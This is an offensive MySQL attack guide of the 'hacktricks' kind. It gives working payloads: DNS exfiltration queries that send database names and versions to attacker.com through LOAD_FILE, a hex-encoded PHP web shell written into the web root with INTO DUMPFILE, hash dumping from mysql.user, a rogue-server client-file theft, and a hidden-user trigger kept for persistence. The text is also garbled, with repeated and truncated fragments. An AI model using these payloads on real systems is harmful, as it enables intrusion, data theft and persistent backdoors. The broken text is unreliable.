Mysql Hacktricks Verified <SECURE · 2026>

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '.attacker.com\\test')); If error-based or union-based injection fails, try Time-based + DNS. But for direct DB access, use the sys_exec UDF to run nslookup or curl . Part 4: Lateral Movement and Credential Harvesting 4.1 Dumping Password Hashes MySQL stores credentials in mysql.user . Hash types: mysql_native_password (SHA1-based) or caching_sha2_password (MySQL 8+).

Not possible directly, but you can create a new user with the stolen hash if you have INSERT on mysql.user and restart privileges ( FLUSH PRIVILEGES ). 4.2 Reading Client Files (Rogue MySQL Server Attack) This is a classic but often overlooked. If you can trick an admin or app server into connecting to your malicious MySQL server, you can read arbitrary files from the client. mysql hacktricks verified

SELECT unhex('3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e') INTO DUMPFILE '/var/www/html/shell2.php'; If secure_file_priv is NULL , you cannot use INTO OUTFILE . However, you can tamper with logs. SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake.txt')); On your DNS server, monitor queries for dbname.attacker.com . If you can trick an admin or app

CREATE TRIGGER hide_user BEFORE INSERT ON mysql.user FOR EACH ROW BEGIN IF NEW.User = 'hidden' THEN SET NEW.password = PASSWORD('dontlog'); END IF; END; Note: Requires SUPER or TRIGGER privilege. | Goal | Best Method | Preconditions | |------|-------------|----------------| | Execute OS command | UDF sys_eval | FILE , write to plugin_dir, MySQL < 8.0 or custom compile | | Write shell | general_log file write | SUPER or file write perms | | Read files | LOAD_FILE() | FILE , file path within secure_file_priv or set to empty | | Dump hashes | SELECT authentication_string FROM mysql.user | SELECT on mysql.user | | Steal client files | Rogue MySQL server | Network access to victim's MySQL client | | Persistence | Hidden user + trigger | CREATE USER + TRIGGER | Conclusion: Stay Verified, Stay Lethal The difference between a script kiddie and a professional is verification. The mysql hacktricks verified approach means you do not blindly run commands—you understand the context, confirm the version, test the boundary, and then exploit with precision.